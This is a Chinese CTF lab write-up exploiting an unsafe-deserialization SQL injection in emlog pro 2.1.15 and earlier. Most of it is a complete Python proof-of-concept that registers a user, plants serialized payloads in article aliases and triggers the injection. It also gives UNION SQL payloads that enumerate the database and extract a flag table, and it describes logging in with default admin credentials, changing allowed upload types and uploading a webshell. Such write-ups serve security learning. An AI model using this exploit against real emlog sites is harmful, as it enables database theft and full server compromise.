靶场介绍
emlog是一款轻量级博客及CMS建站系统,在emlog pro v.2.1.15及更早版本中的不受信任数据反序列化允许远程攻击者通过cache.php组件执行SQL语句。
不感兴趣的可以直接拉到最后面,直接获取flag
备注:没有通过sql注入获取到flag,但是通过其他方法获得了,如果有大佬通过sql注入获取flag请告诉我。
开启靶场
搜索POC,该POC是执行user()函数
import requests
import sys
import time
requests.packages.urllib3.disable_warnings()
url = "http://eci-2ze5lrqt8xe7n32hn1rm.cloudeci1.ichunqiu.com"
session = requests.session()
proxy = {
"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"
}
# Step1 注册一个账户并登录,获取token
def step1():
url_register = "/admin/account.php?action=dosignup"
data_register = {
"mail":"9a6d0oL@test.com",
"passwd":"password",
"repasswd": "password"
}
session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)
url_login = "/admin/account.php?action=dosignin&s="
data_login = {
"user": "9a6d0oL@test.com",
"pw": "password"
}
res = session.post(url+url_login, data=data_login, verify=False, allow_redirects=False, proxies=proxy)
if res.status_code != 302 or res.headers.get("Location") != "./":
print("登录错误")
exit()
url_token = "/admin/article.php"
res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
while res.status_code != 200: # 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106
res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
global token
try:
token = res.text.split('id="token" value="')[1].split('"')[0].strip()
except:
token = ""
# Step2 新建两篇文章,设置两篇文章的alias,写入payload
def step2():
url_article = "/admin/article_save.php?action=autosave"
data_article = {
"logcontent": time.time(),
"logexcerpt": '',
"title": time.time(),
"cover": '',
"alias": time.time(),
"sort": "-1",
"postdate": "2022-10-16 00:01:34",
"date": '',
"tag": '',
"top": "n",
"sortop": "n",
"allow_remark": "y",
"password": '',
"token": token,
"ishide": "y",
"as_logid": "-1"
}
# 新建第一篇文章
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
while res.status_code != 200:
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
try:
id_1 = res.text.split(":")[1].split("_")[0]
except:
print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
exit()
# 新建第二篇文章
data_article["logcontent"] = time.time()
data_article["title"] = time.time()
data_article["alias"] = time.time()
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
while res.status_code != 200:
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
try:
id_2 = int(res.text.split(":")[1].split("_")[0])
except:
print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
exit()
# 更改第二篇文章的alias
# payload = '''";s:87:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','',''#";s:1:"Y'''
payload = '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"Y'''
data_article["as_logid"] = id_2
print (id_2)
if id_2 < 10:
data_article["alias"] = payload
if id_2 >= 10:
data_article["alias"] = payload[1:]
if id_2 >= 100:
# data_article["alias"] = ''';s:81:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','',''#";s:1:"Y'''
data_article["alias"] = ''';s:87:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','','','',''#";s:1:"Y'''
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
while res.status_code != 200:
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
# 更改第一篇文章的alias
data_article["as_logid"] = id_1
data_article["alias"] = "<?php exit;//"
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
while res.status_code != 200:
res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
# Step3 访问触发反序列化以及sql注入
def step3():
headers = {
"X-Rewrite-Url": "/Y",
}
res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy)
if res.status_code == 200:
print(res.text.split("<title>")[1].split("</title>")[0])
else:
raise Exception
if __name__ == "__main__":
try:
step3()
except:
step1()
step2()
step3()
将脚本挂上代理,
step1() //注册用户
step2() //写入payload
step3() //执行脚本
操作步骤
打开burp 挂上代理
注册包全部放通,只保留这个数据包 step2()
保留第二个数据包 step3()
执行SQL语句
通过脚本可以获取到执行的命令
寻找flag位置
将URL编码转换后,可以发现他的语句是这样的:
0 union select 1,user(),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#
然后我们替换user()即可。
0 union select 1,concat(0x7e,(SELECT CONCAT(TABLE_SCHEMA,‘-’,TABLE_NAME, ‘-’,COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME = ‘flag’ LIMIT 0,1),0x7e),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#
然后数一下前面有你总共输入了多少个字符,例如上面一共是235个字符
存在flag
靶场有3处存在flag列 将limit处修改为 limit 2.1
得知存在flllllaaaag表,并且在emlog数据库中,然后编写payload
0 union select 1,concat(0x7e,(select CONCAT(id, ‘-’,flag) from flllllaaaag),0x7e),‘1’,‘’,‘’,‘’,‘’,1,-1,‘blog’,1,1,0,‘n’,‘n’,‘n’,‘y’,‘y’,‘’,‘’,‘’,‘’,‘’#
结果提示
Illegal mix of collations for operation ‘UNION’
获取flag 有点生气,然后气了一下
登录admin 密码 admin123
这里可以下载数据库备份
查看文件的最后
总结
我太菜了,不知道sql报错怎么解决,有大佬看到这里希望可以研究一下,有成果联系我,感谢感谢。
如果对你有用,请不要取关哦,感谢感谢。
获取shell
在看sql文件时发现这里可以修改运行上传的文件类型:
在页面修改时,修改为php会自动修改为X,这里上传SQL备份后不会改变。
直接上传webshell
获取shell
查看配置文件为
不活心,可能是不存在flag。